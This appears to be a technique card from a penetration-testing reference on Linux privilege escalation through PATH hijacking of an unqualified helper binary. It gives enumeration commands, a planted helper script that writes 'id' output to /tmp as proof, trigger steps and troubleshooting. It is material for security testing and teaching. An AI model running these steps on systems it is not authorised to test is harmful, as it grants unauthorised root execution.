Hijack an unqualified helper through controlled PATH resolution
Needs: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists
Shell commands
# Baseline
echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
[ -z "$d" ] && d=.
[ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'
# If the privileged consumer resolves helper through a controllable PATH
printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof
Requires a relative command, the consumer's effective PATH, an earlier writable directory, trigger and retained privilege. Your interactive PATH alone is inconclusive.
Verify → Prove actual helper selection and effective identity through a controlled effect.
If it fails → secure_path, absolute paths, a changed working directory or privilege dropping can invalidate the route. More detail ↓
Explanation & examples
Hijack an unqualified helper through controlled PATH resolution
- USE WHEN
- A privileged program/job invokes a helper without an absolute path
- STARTING ACCESS
- A verified Linux foothold with a known effective UID, groups and filesystem context
- RESULT
- Verified execution of the chosen helper under the consumer identity
Recognize the clue
Inspect a verified privileged helper/script for unqualified executable names and compare its actual PATH with writable directories.
printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
strings /PATH/TO/REVIEWED_BINARY
Helper invocation: backup_tool ARGUMENT
Consumer PATH: /CONTROLLED_DIRECTORY:/usr/bin:/binMeans: An unqualified helper can resolve through the controlled earlier directory in the consumer's environment.
Confirm: Find the helper name in the privileged script or observed pspy command. Check that it is unqualified and identify the consumer's real PATH; a writable directory matters only if that consumer searches it first.
- After validation
- The consumer selects the controlled helper under the higher identity: use the verified resolution route.
- Ruled out in this context
- It invokes /usr/bin/backup_tool by absolute path or uses a protected PATH: reject this hijack.
- Still inconclusive
- A strings result alone does not prove an executed call or inherited PATH; inspect/observe the consumer.
Troubleshooting: secure_path, absolute paths, a changed working directory or privilege dropping can invalidate the route.
Additional prerequisite checks
printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
If the privileged consumer resolves helper through a controllable PATH:
Requires a relative command, the consumer's effective PATH, an earlier writable directory, trigger and retained privilege. Your interactive PATH alone is inconclusive.
Why it works
The caller's effective PATH determines helper lookup; changing the attacker's PATH has no effect when the privileged consumer sets its own environment or uses an absolute path.
Worked example · hypothetical
Observation: a privileged helper invokes a bare command name. Test: inspect the execution environment and create a controlled implementation in the earlier permitted directory. Illustrative output: the triggered program runs the controlled helper as root. Interpretation: resolution and privilege retention are confirmed.
New identity, privilege, host or route? Re-enumerate → All topic tasks →